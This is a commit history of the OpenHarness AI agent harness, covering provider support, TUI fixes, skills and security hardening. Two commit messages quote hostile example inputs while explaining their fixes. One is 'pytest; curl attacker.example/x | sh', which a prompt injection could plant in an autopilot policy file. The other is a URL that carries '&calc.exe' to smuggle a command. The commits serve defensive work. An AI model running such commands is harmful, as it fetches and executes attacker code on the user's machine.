Compare commits

...

351 Commits

Author SHA1 Message Date
tjb-tech 971c0e123d feat(memory): add auto-dream consolidation 2026-05-09 06:01:03 +00:00
tjb-tech 18fc6dea13 feat(skills): discover Claude and project skills 2026-05-08 03:49:02 +00:00
tjb-tech a0f8552c69 chore(release): prepare v0.1.9 2026-05-07 11:08:58 +00:00
tjb-tech b22d5e9368 fix(cli): allow updating provider API keys 2026-05-07 10:05:31 +00:00
tjb-tech 0e557a65d3 feat(skills): expose user-invocable skills as slash commands 2026-05-06 13:43:39 +00:00
tjb-tech ffc50221df feat(skills): add skill creator bundled skill 2026-05-06 13:05:03 +00:00
tjb-tech a07837c657 chore(release): prepare v0.1.8 2026-05-06 12:56:08 +00:00
tjb-tech 807e3ecd47 fix(ohmo): respect Feishu group mention policy 2026-05-06 12:46:28 +00:00
tjb-tech d2489758f0 fix(config): add NVIDIA NIM provider profile
Add a built-in NVIDIA NIM OpenAI-compatible workflow that reads NVIDIA_API_KEY, document the backend, and cover auth/profile materialization. Also make Windows shell resolution skip discovered bash executables that cannot run commands, and update the macOS Terminal backspace troubleshooting note to reflect the current fix.
2026-05-06 11:06:35 +00:00
tjb-tech 373147907a test(mcp): use built-in exception groups on Python 3.11 2026-05-06 10:17:11 +00:00
tjb-tech e0860bd3bd Merge branch 'review/pr-229' into review/security-mcp-windows-skills
# Conflicts:
#	CHANGELOG.md
2026-05-06 10:06:20 +00:00
tjb-tech 2ab4fdb2f7 Merge branch 'review/pr-231' into review/security-mcp-windows-skills 2026-05-06 10:05:20 +00:00
tjb-tech 0f7e9a20f4 Merge branch 'review/pr-237' into review/security-mcp-windows-skills 2026-05-06 10:05:20 +00:00
tjb-tech 57a9134997 test(swarm): accept versioned Python executables 2026-05-06 10:05:11 +00:00
tjb-tech d5b1977fab Merge remote-tracking branch 'origin/main' into review/pr-229 2026-05-06 10:02:01 +00:00
tjb-tech 30d4fb3ebf Merge remote-tracking branch 'origin/main' into review/pr-232 2026-05-06 10:02:01 +00:00
tjb-tech 626ad2daf4 Merge remote-tracking branch 'origin/main' into review/pr-237 2026-05-06 10:02:01 +00:00
tjb-tech ffa7d9c06a Merge remote-tracking branch 'origin/main' into review/pr-231 2026-05-06 10:02:01 +00:00
tjb-tech 0528a7a2c2 fix(ohmo): isolate group command context 2026-05-06 09:55:38 +00:00
tjb-tech ebb402cfd3 fix(api): set OpenAI authorization header explicitly 2026-05-06 09:12:38 +00:00
tjb-tech 8f30deffe9 feat(ohmo): add gateway-scoped model provider commands 2026-05-06 09:10:38 +00:00
tjb-tech 52a0551569 feat(ohmo): add Feishu group creation flow
Add an ohmo-only /group flow for Feishu private chats, persist managed group metadata, and route shared-chat sessions safely. Also update Feishu reply handling and gateway tests for private/group behavior.
2026-05-06 08:44:17 +00:00
Litianhui888 a98292b814 fix(mcp): isolate startup from failed servers
Treat per-server initialization cancellation as a connection failure instead of aborting overall startup, and suppress cleanup-time exception groups from half-open MCP sessions.
2026-05-06 10:13:35 +08:00
hinotoi-agent 03f4c47ebb fix(api): preserve OpenAI authorization header 2026-05-05 13:36:58 +08:00
hinotoi-agent 4e33118c48 fix(commands): keep config auth commands local-only 2026-05-05 13:32:29 +08:00
David Whatley 5f97b2416e fix(swarm,tasks): direct-exec teammate spawn, bypass shell on Windows (#230)
Teammate spawn (`agent` tool, `task_create`) failed on Windows with exit
127 and "command not found" against a backslash-mangled Python path,
even though the same `bash -lc "..."` command worked interactively.

Root cause: `subprocess_backend.spawn` built a single shell command
string with a `KEY='val' python ...` env-prefix, then routed through
`bash -lc` via `asyncio.create_subprocess_exec`. Two failures stacked:

  1. The env-prefix string used Python `repr()` for values, and Git
     Bash's `-lc` argument parser consumed backslashes inside the
     quoted segments as escape sequences (`\U` -> `U`).
  2. Even with proper `shlex.quote` of every command part — keeping
     backslashes intact — Git Bash launched via
     `asyncio.create_subprocess_exec` could not exec a Windows-pathed
     Python interpreter, returning `command not found` for the same
     argv that interactive bash exec'd fine.

Fix: don't use a shell at all for teammate spawn.

  * Add `argv: list[str] | None` to `TaskRecord` plus matching kwargs
    on `BackgroundTaskManager.create_shell_task` /
    `create_agent_task`. Either `command` (shell) or `argv` (direct
    exec) must be supplied; both is rejected.
  * `_start_process` runs the argv path via
    `asyncio.create_subprocess_exec(*argv, env=...)` directly, with no
    bash wrapper.
  * `subprocess_backend.spawn` builds an argv list (via
    `get_teammate_command()` plus inherited CLI flags) and hands it to
    `create_agent_task(argv=..., env=...)`. Inherited env vars now
    flow through `env=` rather than being embedded in the command
    string.
  * The legacy shell-evaluated `command=` path is preserved verbatim
    for callers (e.g. `BashTool`) that legitimately want shell
    semantics — only teammate spawn migrates to direct exec.

Tests: 5 new unit tests in `tests/test_swarm/test_subprocess_backend.py`
and 3 in `tests/test_tasks/test_manager.py` lock in the contract — env
plumbed via `env=` kwarg, argv list preserves Windows backslashed
paths, command/argv mutual exclusion, direct-exec round-trip.

Validated end-to-end on Windows 11 against a real CEO/Lead workflow:
CEO successfully calls `agent` tool, Lead spawns at depth=1 and
issues 29 tool calls. Same path was producing exit-127 task logs
before this change.
2026-05-04 16:21:40 -05:00
voidborne-d a857455fd0 fix(skills): use yaml.safe_load for bundled SKILL.md frontmatter
PR #96 fixed the user-skill loader to use yaml.safe_load instead of
naive line-by-line splitting, so YAML block scalars (`>`, `|`),
quoted values, and other standard constructs parse correctly. The
bundled skill loader still used the old parser, so a bundled skill
with a folded description like

    ---
    name: my-skill
    description: >
      A long folded description
      that spans multiple lines.
    ---

would emit `description='>'` (just the marker character) instead of
the expanded text.

Extract the YAML-aware parser into `openharness.skills._frontmatter`
and have both `skills/loader.py::_parse_skill_markdown` and
`skills/bundled/__init__.py::_parse_frontmatter` delegate to it. The
bundled loader keeps its `Bundled skill: <name>` fallback prefix via
the `fallback_template` argument.

Add five regression tests in `tests/test_skills/test_loader.py`
covering folded scalars, literal scalars, inline descriptions, the
"Bundled skill:" fallback, and the heading-plus-paragraph fallback
on the bundled side.
2026-05-05 03:38:47 +08:00
tjb-tech 7873f0d109 fix(engine): clamp oversized token budgets 2026-05-03 09:03:05 +00:00
tjb-tech f10d8875ee feat(ui): make mode switching and stop explicit 2026-05-03 09:02:47 +00:00
Anciety 56a954a0a9 fix(gateway): support Windows process lifecycle (#193)
The ohmo gateway process management (start, find, stop) only worked on
Unix-like systems. On Windows, all three operations fail:

- start_gateway_process: uses start_new_session=True (no equivalent on
  Windows; also lacks stdin=DEVNULL which causes the subprocess to
  inherit the parent's console input)
- _pid_is_running: uses os.kill(pid, 0) which raises PermissionError
  for processes the caller doesn't own on Windows
- _iter_workspace_gateway_pids: shells out to `ps`, which doesn't exist
  on Windows
- stop_gateway_process: uses os.kill(pid, SIGTERM), which is not
  supported on Windows

Replace each with a Windows-compatible path guarded by sys.platform:

- Start: CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS, stdin=DEVNULL
- PID check: OpenProcess/GetExitCodeProcess via ctypes (STILL_ACTIVE)
- PID listing: wmic process where commandline like ... get processid
- Stop: taskkill /F /T /PID

The Unix paths remain unchanged.

Co-authored-by: ancietyding <ancietyding@tencent.com>
2026-05-03 16:52:23 +08:00
Mcy0618 d611d6ddf6 feat(vision): add image-to-text fallback for text-only models (#227)
* feat(provider): add ModelScope inference API support

* fix(cli/auth): wire ModelScope into CLI and auth manager

* feat(vision): add image-to-text fallback for non-multimodal models

* fix: remove leftover merge conflict marker in query.py

* test: fix cross-platform test failures

* test: remove unused os import in test_environment.py
2026-05-03 16:47:56 +08:00
Mcy0618 e536394812 feat(provider): add ModelScope inference API support (#224)
* feat(provider): add ModelScope inference API support

* fix(cli/auth): wire ModelScope into CLI and auth manager
2026-05-02 22:07:45 +08:00
tjb-tech 47e0e93387 fix(gateway): degrade image attachments for text-only models
Support absolute glob patterns without crashing and retry ohmo channel messages without ImageBlocks when a provider rejects image input.\n\nFixes #225\nFixes #226
2026-05-02 14:04:25 +00:00
tjb-tech c835d7cf2e feat(model): manage profile model allowlists
Add /model list/add/remove/clear so a single provider profile can expose multiple switchable models in the TUI selector. Also add regression coverage for invalid grep regexes in the Python fallback.\n\nFixes #222\nRefs #218
2026-05-01 12:38:48 +00:00
Guangxin Wang d9002c3cb2 fix(grep): handle invalid fallback regex (#219)
* fix: catch re.error in _python_grep_files to prevent crash on invalid regex

Agent-Logs-Url: https://github.com/WANG-Guangxin/OpenHarness/sessions/909fcb62-fba5-41a9-8784-0d5f483a408a

Co-authored-by: WANG-Guangxin <71872849+WANG-Guangxin@users.noreply.github.com>

* fix: improve invalid regex error message to include pattern for debugging

Agent-Logs-Url: https://github.com/WANG-Guangxin/OpenHarness/sessions/909fcb62-fba5-41a9-8784-0d5f483a408a

Co-authored-by: WANG-Guangxin <71872849+WANG-Guangxin@users.noreply.github.com>

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
2026-05-01 20:31:13 +08:00
José Maia 11faa13d63 fix(auth): avoid shell execution for Windows browser open (#217)
DeviceCodeFlow._try_open_browser previously called
``subprocess.Popen(["start", "", url], shell=True)`` on Windows.  Because
``shell=True`` routes through cmd.exe, a URL returned by the GitHub
device-flow endpoint (or a user-configured enterprise endpoint) that
contained ``&``/``|``/``^`` would have its trailing tokens interpreted as
command separators — e.g. ``https://x.com&calc.exe`` would launch
calc.exe alongside the browser.

Replace the Windows branch with ``os.startfile``, which calls
ShellExecuteW directly and hands the full URL to the registered
URL handler verbatim.  Also reject any non-http(s) scheme up front so
``file:`` / ``javascript:`` / bare executable tokens cannot reach any
platform launcher.  macOS and Linux/WSL paths are unchanged (they were
already shell=False).

Adds tests/test_auth/test_flows.py covering the four platform branches
plus the scheme guard, including an explicit regression assertion that
shell=True is never set on the Popen calls.

Co-authored-by: José Maia <glitch-ux@users.noreply.github.com>
2026-05-01 20:29:30 +08:00
tjb-tech 1bcdc62a50 test(ohmo): harden memory prompt isolation coverage 2026-04-29 08:51:02 +00:00
tjb-tech cc825efb83 fix(ohmo): isolate personal memory from project memory 2026-04-29 08:47:58 +00:00
Hinotobi df348b6335 test(gateway): cover remote bridge spawn block (#209) 2026-04-29 16:38:33 +08:00
tjb-tech 1498a87806 fix(compact): bound large tool result history 2026-04-28 13:28:01 +00:00
tjb-tech 726b3ee028 fix(compact): handle local vision context pressure 2026-04-28 07:04:43 +00:00
hinotoi-agent 438e373097 fix: keep bridge command local-only by default 2026-04-28 11:51:44 +08:00
tjb-tech 380bab4d7b test(api): lock bearer auth for openai-compatible providers 2026-04-28 02:52:36 +00:00
tjb-tech 6bfc5c50d0 Merge branch 'pr-207' into review/206-207 2026-04-28 02:52:03 +00:00
tjb-tech 9a8a14331d fix(tasks): preserve multiline prompts for task workers 2026-04-28 02:41:33 +00:00
tjb-tech 25f2043f53 Merge branch 'pr-201' into merge/rest-20260428 2026-04-28 02:35:11 +00:00
tjb-tech 1fb617d4f4 Merge branch 'pr-200' into merge/rest-20260428 2026-04-28 02:35:11 +00:00
tjb-tech b618f639d7 Merge branch 'pr-205' into merge/rest-20260428 2026-04-28 02:35:11 +00:00
tjb-tech a24a28b38a Merge branch 'pr-197' into merge/rest-20260428 2026-04-28 02:35:11 +00:00
Hinotobi bed1e4777e fix(plugins): reject traversal names on uninstall (#198) 2026-04-28 10:34:31 +08:00
hzb be66e015bf feat(providers): add Qwen (DashScope) to default provider profiles
Add qwen profile to default_provider_profiles() with dashscope provider.
Uses OpenAI-compatible API format at dashscope.aliyuncs.com with
qwen-plus as the default model and DASHSCOPE_API_KEY for auth.

The ProviderSpec for dashscope already existed in registry.py but lacked
a ProviderProfile, making it unavailable via 'oh provider list/use'.
2026-04-28 10:19:39 +08:00
yl-jiang 90ec299221 docs(changelog): add unreleased entries for subprocess stderr deadlock fixes
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-27 22:58:40 +08:00
yl-jiang 593dcbcaeb fix(bridge): session_runner 将 stderr 合并到 stdout 流
将子进程 stderr=PIPE 改为 stderr=STDOUT,确保 stderr
输出不会因无人读取而阻塞子进程,同时简化调用方对输出流的处理

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-27 22:57:31 +08:00
yl-jiang 0305dfb3ec fix(tools): subprocess stderr 改为 DEVNULL 并为 bash_tool 添加读取超时
glob/grep 工具的 rg 子进程 stderr 由 PIPE 改为 DEVNULL,
防止 stderr buffer 写满时子进程阻塞造成管道死锁;
bash_tool 的 _read_remaining_output 加 2s 超时,
避免进程退出后读取残余输出时无限挂起

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-27 22:57:31 +08:00
ancietyding b731c3ede1 fix(tui): allow escape to interrupt active runs
Add an explicit frontend-to-backend interrupt request so Esc can stop the current agent turn without relying on platform-specific terminal signals.
2026-04-27 14:17:49 +08:00
José Maia 3e09dde114 fix(ui): drain coordinator async agents in interactive backends
Issue #195: in coordinator mode, the React TUI and Textual app never
injected `<task-notification>` envelopes after a worker finished.
`run_print_mode` had `_drain_coordinator_async_agents` wired in, but
`ReactBackendHost._process_line` and `TextualApp._process_line` only
called `handle_line` and returned, leaving the contract documented in
the coordinator system prompt (results arrive between turns) unmet.

Extract the drain helpers into `openharness.ui.coordinator_drain` and
invoke `drain_coordinator_async_agents` from both interactive hosts
after `handle_line` when coordinator mode is active. The shared module
also avoids a circular import between `ui.app` and `ui.backend_host`.
2026-04-27 00:45:43 +01:00
hinotoi-agent 801f6b321c fix(feishu): contain inbound attachment filenames 2026-04-26 20:19:27 +08:00
tjb-tech 1325770b28 fix(plugins): defer tool imports for disabled plugins 2026-04-25 06:10:37 +00:00
Yan, Zhi Yuan 6c83a4c978 feat: discover and register BaseTool subclasses from plugin tools/ dirs
Plugins can now contribute Python tools by placing BaseTool subclasses
in their tools/ directory. The loader scans for .py files, imports them
via importlib, instantiates any BaseTool subclasses found, and registers
them in the tool registry at runtime.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-25 06:10:37 +00:00
Anciety e7eab63852 fix(channels): add missing proxy field to TelegramConfig (#192)
The proxy field is referenced in telegram.py (builder.proxy /
get_updates_proxy) but was never declared in the TelegramConfig schema.
This causes an AttributeError at runtime if the proxy code path is
reached.

Introduced when channels were ported from nanobot in ab37aac.

Co-authored-by: ancietyding <ancietyding@tencent.com>
2026-04-25 14:04:47 +08:00
tjb-tech f683b4aed2 fix(tui): handle repeated backspace chunks on windows terminals 2026-04-24 16:35:09 +00:00
tjb-tech 835588daa0 fix(compact): keep tool pairs intact across compact boundaries 2026-04-24 16:27:06 +00:00
Yufeng He 0bba07fe19 fix(tui): complete slash commands without cursor drift (#185)
Three related bugs in the React TUI slash-command flow (fixes #183):

1. Tab completion left a trailing space after the command, so hitting
   Enter right after Tab would submit "/exit " (with arg) instead of
   running /exit. Drop the space — user can add one themselves if they
   want to type an argument.

2. After a programmatic setInput() from completion/history, the
   MultilineTextInput cursor stayed at its previous offset instead of
   moving to the end of the newly-inserted text. Subsequent keystrokes
   landed in the middle of the completed command ("/eXxit" when typing
   X after Tab-completing "/exit"). Track the last internally-authored
   value via a ref; when the incoming value differs, treat it as an
   external change and snap the cursor to the end.

3. /quit is the other obvious word for "exit" and users were surprised
   when it wasn't registered. Add an `aliases` field to SlashCommand
   and make /quit an alias of /exit. help/list output deduplicates
   aliases so they resolve via lookup without cluttering the command
   listing.

Tests:
- tests/test_commands/test_registry.py: new tests for the alias path
  and for help/list dedup. Both pass locally.
- MultilineTextInput doesn't have a standalone unit test for the
  cursor behavior (uses node:test + ink render harness, can't run
  without node toolchain on this machine), but the fix is a local,
  obvious change in a single component.

Co-authored-by: Yufeng He <40085740+universeplayer@users.noreply.github.com>
2026-04-23 19:25:50 +08:00
tjb-tech 75c0481dba fix(channels): restore shared helper utilities 2026-04-23 10:57:30 +00:00
José Maia 25d0bc7ab1 fix(autopilot): run verification commands without shell by default (#188)
Verification entries from `.openharness/autopilot/verification_policy.yaml`
were handed to `subprocess.run(shell=True, ...)`. Because the policy file
lives inside the working copy autopilot is triaging — and the autopilot
prompt invites the model to edit it — a hostile contributor or prompt
injection could land a string like `pytest; curl attacker.example/x | sh`
that runs on the autopilot runner with full privileges.

Each entry is now parsed into argv via `shlex.split` and executed with
`shell=False`. Commands that genuinely need shell features declare the
mapping form `{command: "...", shell: true}` explicitly — this surfaces
the escalation in policy diffs and PR review. Entries that contain shell
metacharacters without the opt-in become `status="error"` verification
steps, failing the gate loudly rather than silently executing. The
default policy's `cd frontend/terminal && ...` step is converted to the
opt-in form.

Closes #187.

Co-authored-by: José Maia <glitch-ux@users.noreply.github.com>
2026-04-23 18:57:19 +08:00
Auauau 9078071803 fix(tui): restore backspace behavior for raw DEL terminals (#182)
Ink reports the common DEL byte as a delete key, which means React TUI prompt editing can lose Backspace behavior on terminals that send 0x7f for backward delete. This change records the raw input sequence so PromptInput can treat raw DEL as backward delete while preserving true forward-delete escape sequences, and it adds a focused regression test plus changelog entry.\n\nConstraint: Ink normalizes raw DEL into key.delete for some terminal environments\nRejected: Treat delete at end-of-line as backspace | breaks true forward delete semantics on terminals that send distinct delete sequences\nConfidence: high\nScope-risk: narrow\nReversibility: clean\nDirective: Keep raw-sequence disambiguation aligned with Ink input semantics before refactoring PromptInput keyboard handling\nTested: /Users/wangxin/.openharness-venv/bin/ruff check src tests scripts\nTested: /Users/wangxin/.openharness-venv/bin/pytest -q\nTested: cd frontend/terminal && npx tsc --noEmit\nTested: cd frontend/terminal && node --import tsx --test src/components/MarkdownText.test.tsx src/components/PromptInput.test.tsx\nNot-tested: Manual verification on non-macOS terminals\nRelated: d4eae15

Co-authored-by: wangxin <wangxinwxwx@shopee.com>
2026-04-22 16:15:11 +08:00
tjb-tech c4075ffea3 test(cli): stabilize help output assertion 2026-04-22 07:41:39 +00:00
tjb-tech 699bab3d3a feat(cli): add dry-run safe preview mode 2026-04-22 07:36:59 +00:00
Flo 4dd7b76114 fix(shell): default stdin to DEVNULL for shell subprocesses (#179)
- default create_shell_subprocess stdin to DEVNULL so shell children do not inherit the parent TTY by accident
- add a direct regression test covering the helper default, alongside the existing BashTool coverage

Local verification:
- PYTHONPATH=src pytest -q tests/test_utils/test_shell.py tests/test_tools/test_bash_tool.py
- PYTHONPATH=src python - <<'PY' ... create_shell_subprocess smoke ... PY
2026-04-21 20:11:17 +08:00
tjb-tech 559ba76f23 feat(hooks): fire subagent_stop for spawned agents 2026-04-20 09:13:32 +00:00
tjb-tech 8d48829c20 Merge PR #174: fix(api): strip <think> blocks from OpenAI-compatible streaming responses 2026-04-20 09:02:17 +00:00
tjb-tech 6ef371f62f fix(api): handle split think tags in stream filter 2026-04-20 09:02:03 +00:00
tjb-tech ee97f8e78d test(swarm): stabilize subprocess backend prompt coverage 2026-04-20 08:10:05 +00:00
tjb-tech 1158027082 fix(swarm): forward worker system prompts to subprocesses 2026-04-20 08:05:41 +00:00
yl-jiang a2bb51483d fix(api): strip <think>…</think> blocks from OpenAI-compatible streaming responses
Some providers (e.g. DeepSeek, MiniMax) embed chain-of-thought content
inside <think>…</think> tags in delta.content rather than using a dedicated
reasoning_content field.  Without filtering, these internal reasoning blocks
leak into the user-visible output.

Add _strip_think_blocks() which:
- Removes fully-closed <think>…</think> pairs via regex (DOTALL).
- Holds back any unclosed opening tag in a per-stream buffer so cross-chunk
  tags are handled correctly.

Tests: 9 new unit tests in TestStripThinkBlocks covering no-op passthrough,
single/multiple complete blocks, multiline blocks, unclosed tags, and the
cross-chunk scenario.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-20 14:30:23 +08:00
tjb-tech 55dc030208 Merge PR #170: feat(hooks): add user_prompt_submit, notification, stop events 2026-04-20 05:32:37 +00:00
tjb-tech df7fde80e8 fix(session): sanitize dangling tool calls on restore 2026-04-20 05:10:57 +00:00
José Maia badfb6b592 ci: retrigger 3.10 job (known flake in unrelated test_agent_send_message_flow_restarts_completed_agent) 2026-04-20 05:41:43 +01:00
José Maia cd68ff1e25 feat(hooks): add user_prompt_submit, notification, stop events
Extends the HookEvent enum with three new events so plugins authored
against Claude Code's hook protocol can run unmodified on OpenHarness.

- user_prompt_submit fires in QueryEngine.submit_message before the
  model sees a new user message. Payload: {event, prompt}.
- stop fires inside run_query when the assistant turn ends without
  tool uses. Payload: {event, stop_reason}.
- notification fires before the permission_prompt callback on
  confirmation-required tool calls. Payload: {event, notification_type,
  tool_name, reason}.

Hook return values are observational in this release; exit-code-driven
blocking and continuation semantics are deferred to a follow-up so the
surface area of this change stays small and reviewable.

Tests in tests/test_engine/test_query_engine.py cover each fire site,
including a negative case verifying stop does not fire on turns that
contain tool uses.
2026-04-19 21:05:23 +01:00
tjb-tech b11a83df66 test(ci): stabilize full-suite regressions 2026-04-19 15:07:24 +00:00
tjb-tech 1c00020d36 fix(coordinator): wait for async agent tasks in print mode 2026-04-19 14:56:47 +00:00
tjb-tech d4eae153d3 fix(shell): address Windows backspace and TUI shell regressions 2026-04-19 14:22:37 +00:00
tjb-tech 35fb12d5da release: publish 0.1.7 2026-04-18 14:45:36 +00:00
tjb-tech 738da98b34 fix(terminal): support multiline input and reduce flashing 2026-04-17 11:42:01 +00:00
tjb-tech 04f8747ab6 fix(install): register commands in ~/.local/bin 2026-04-17 11:42:01 +00:00
Junghwan 91c0e32035 fix(sandbox): fail closed for unsupported Docker domain policies (#152)
The Docker backend currently turns any non-empty allowed_domains list into
unrestricted bridge networking even though no per-domain enforcement exists.
Keep Docker networking disabled and emit a warning until the backend can
actually honor domain policies.

Constraint: Preserve a small, reviewable fix instead of designing a full Docker egress filter
Rejected: Keep bridge networking with docs-only clarification | leaves silently overbroad behavior in place
Confidence: high
Scope-risk: narrow
Reversibility: clean
Directive: If Docker domain policies are re-enabled later, add true enforcement before widening network access
Tested: PYTHONPATH=src pytest -q tests/test_sandbox/test_docker_backend.py tests/test_sandbox/test_adapter.py
Tested: PYTHONPATH=src ruff check src tests
Not-tested: Full pytest suite in this environment (collection fails because optional pyperclip dependency is missing)
Related: #150
2026-04-17 18:55:25 +08:00
Junghwan 3b395500a2 fix(personalization): stop replaying exported env var values (#151)
Personalization currently captures full `export NAME=value` payloads and
re-injects them through local rules into future system prompts. Narrow the
environment-variable extraction to the variable name so the feature can still
remember environment hints without persisting secret material.

Constraint: Keep personalization's environment-hint workflow intact
Rejected: Remove env_var extraction entirely | larger behavior change than needed for a first fix
Confidence: high
Scope-risk: narrow
Reversibility: clean
Directive: Do not persist raw env var values without a separate sensitivity model and tests
Tested: PYTHONPATH=src pytest -q tests/test_personalization/test_extractor.py tests/test_prompts/test_claudemd.py
Tested: PYTHONPATH=src ruff check src tests
Not-tested: Full pytest suite in this environment (collection fails because optional pyperclip dependency is missing)
Related: #149
2026-04-17 18:06:12 +08:00
Hinotobi 59017e0988 fix(plugin): address code execution via untrusted plugin activation (#156)
* [security] fix(plugin): require explicit trust for project plugins

* test: clarify project plugin secure-default behavior
2026-04-17 18:00:13 +08:00
Hinotobi 3186851c47 fix(ohmo): isolate shared-chat sessions by sender (#159) 2026-04-17 17:45:19 +08:00
yulin c881c7deed fix(agent): Explore and claude-code-guide no longer hard-code model=haiku (#154)
Both built-in agents previously set model="haiku", which caused
subprocess spawning to fail for users running any non-Anthropic provider
(OpenAI, Bedrock, custom base URLs, etc.) because the literal string
"haiku" is not a valid model on those APIs.

Changes:
- Explore and claude-code-guide now use model="inherit", consistent
  with the existing Plan and verification built-in agents.
- build_inherited_cli_flags now skips the --model flag when the value
  is "inherit", so the subprocess inherits the parent model via the
  OPENHARNESS_MODEL env var that build_inherited_env_vars already
  forwards. Previously "inherit" was passed verbatim as a model name,
  which would have also broken Plan and verification agents.

Tests added:
- build_inherited_cli_flags: model="inherit" and model=None produce no
  --model flag; a real model name is included as expected.
- Builtin agent definitions: Explore and claude-code-guide must not
  reference Anthropic-only model aliases; Plan, verification, Explore,
  and claude-code-guide must all use None or "inherit".

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-17 17:05:25 +08:00
tjb-tech 78160047f0 fix(dashboard): rename to OpenHarness, simplify kanban to 4 columns, richer pipeline animation
- Replace "OpenHarness-new" with "OpenHarness" in hero title
- Shorten description to "Kanban for OpenHarness self-evolution"
- Group 13 status columns into 4 vibe-kanban style: To Do, In Progress,
  In Review, Done — each card still shows its original status badge
- Redesign PipelineAnimation: orbital layout with 5 color-coded stage
  nodes, central hub, background grid, ambient particles, dual traveling
  packets, spoke data pulses, and scan line — fills the space properly

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-16 13:24:23 +00:00
tjb-tech 992cac66d0 fix(test): align autopilot dashboard assertion 2026-04-16 13:16:32 +00:00
tjb-tech dea9ee8386 feat(dashboard): redesign autopilot kanban with React + dark cyberpunk theme
Replace the inline HTML template with a Vite + React + TypeScript app
in autopilot-dashboard/. The new design follows the AnyFS dark theme
aesthetic with animated SVG hero background (data streams, constellation
nodes, binary rain, scanline), pipeline visualization, glass cards with
status-colored glow effects, and JetBrains Mono typography throughout.

- autopilot-dashboard/: new Vite+React project, builds to docs/autopilot/
- HeroBackground.tsx: multi-layer SMIL SVG animation
- PipelineAnimation.tsx: QUEUE→PREP→RUN→CHECK→MERGE traveling glow
- CI workflow updated to build React app before deploying to Pages
- Python _render_dashboard_html simplified to a minimal fallback page

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-16 13:13:35 +00:00
tjb-tech 2a91f66a3c fix(ci): auto-enable pages for autopilot dashboard 2026-04-16 12:53:45 +00:00
tjb-tech 67617e6eb5 fix(ohmo): restore runtime system prompt after startup 2026-04-16 12:52:11 +00:00
Octopus c0d3de2f95 feat(provider): add MiniMax as a first-class provider (#140)
- Add built-in `minimax` profile to `default_provider_profiles()` with
  `MiniMax-M2.7` as default model and `https://api.minimax.io/v1` base URL
- Add `minimax_api_key` / `MINIMAX_API_KEY` auth source support to
  `auth_source_provider_name()`, `default_auth_source_for_provider()`,
  and `resolve_auth()` env-var lookup
- Add MiniMax to `_KNOWN_PROVIDERS`, `_AUTH_SOURCES`, `_PROFILE_BY_PROVIDER`,
  and auth-status check in `AuthManager`
- Add `minimax` and `minimax_api_key` to CLI provider/auth-source label maps
  and `oh auth login` provider list; update default model for
  `minimax-anthropic` interactive flow from `minimax-m1` to `MiniMax-M2.7`
- Add `MiniMax-M2.7` / `MiniMax-M2.7-highspeed` model suggestions to the
  React UI model picker
- Add unit tests for MiniMax profile, auth-source mapping, env-var resolution,
  and profile materialisation

Co-authored-by: octo-patch <octo-patch@github.com>
2026-04-16 14:38:07 +08:00
Tao Zhang 944ccf9b22 fix(settings): preserve profile base_url/model under env overrides (#139)
ANTHROPIC_BASE_URL and ANTHROPIC_MODEL were applied unconditionally after
profile materialization, replacing explicit profile settings like Ollama's
base_url with unrelated endpoints. Now OPENHARNESS_* env vars always
override, while ANTHROPIC_*/OPENAI_* vars only apply when the active
profile doesn't explicitly configure the corresponding field.

Also adds Ollama setup instructions to README.

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-16 14:35:25 +08:00
yu de9f9c05ca fix(agent): honor spawn overrides and harden task cleanup (#148) 2026-04-16 14:33:46 +08:00
yay2008 9caf7004a6 fix(runtime): resolve profile base_url and support openai_compat format (#146) 2026-04-15 20:33:31 +08:00
Hinotobi fab40c6eab fix(ohmo): secure default remote channel allowlists (#147) 2026-04-15 20:31:46 +08:00
José Maia 4090728163 fix(installer): detect installed launcher instead of hard-coding openh (#145)
The Windows PowerShell installer (scripts/install.ps1) hard-coded openh.exe
as the expected binary and printed "Launch (PowerShell): openh" in the
final instructions. The `openh` console-script alias was added in ce84a6a,
which landed after the v0.1.6 tag — so `pip install openharness-ai`
(the default install path) fetches a wheel whose entry_points.txt only
declares `oh`, `ohmo`, and `openharness`. openh.exe is never created, and
users follow the install banner straight into a "not recognized" error
(issue #144).

Instead of requiring a new PyPI release before the installer becomes
correct, detect which launcher the wheel actually produced and guide the
user to it. Preference order: openh (no shell collisions) -> openharness
(no collisions, always present) -> oh (collides with PowerShell's
Out-Host alias unless invoked as oh.exe).

Verification now succeeds against whichever launcher exists, and the
final "Next steps" block recommends the matching command along with the
relevant Out-Host caveat.

Co-authored-by: José Maia <glitch-ux@users.noreply.github.com>
2026-04-15 14:52:53 +08:00
tjb-tech d38796518a Merge branch 'pr-141' into integrate-pr141
# Conflicts:
#	CHANGELOG.md
#	frontend/terminal/src/App.tsx
#	frontend/terminal/src/components/ConversationView.tsx
#	frontend/terminal/src/components/ToolCallDisplay.tsx
#	frontend/terminal/src/hooks/useBackendSession.ts
2026-04-14 12:07:30 +00:00
siaochuan 7d2a0104ba feat(tui): add codex output style to reduce streaming flicker 2026-04-14 19:18:20 +08:00
tjb-tech 0c84d85630 fix(bash): surface clearer install workflow guidance 2026-04-14 08:59:09 +00:00
tjb-tech ce84a6a1a2 fix(session): sanitize empty assistant messages and add windows alias 2026-04-14 08:51:33 +00:00
José Maia a2dea036e0 fix(engine): keep parallel tool turns alive when one tool raises (#138)
`asyncio.gather` was called without `return_exceptions=True`, so a single
escaping exception from one parallel tool propagated out of the gather,
abandoned its sibling coroutines, and left the assistant turn with one or
more `tool_use` blocks that never received a matching `tool_result`. The
Anthropic Messages API rejects the next request on the session with a 400
in that state, so any unhandled tool exception during a multi-tool turn
effectively bricks the session.

Pass `return_exceptions=True` and synthesize an `is_error=True`
`ToolResultBlock` for each raised exception, matched to the originating
`tool_use_id`. The exception is logged via `log.exception` so the failure
is still observable.

Co-authored-by: José Maia <glitch-ux@users.noreply.github.com>
2026-04-14 16:39:42 +08:00
yulin f8e83c8409 fix(tools): update todo items in place instead of duplicating (#135)
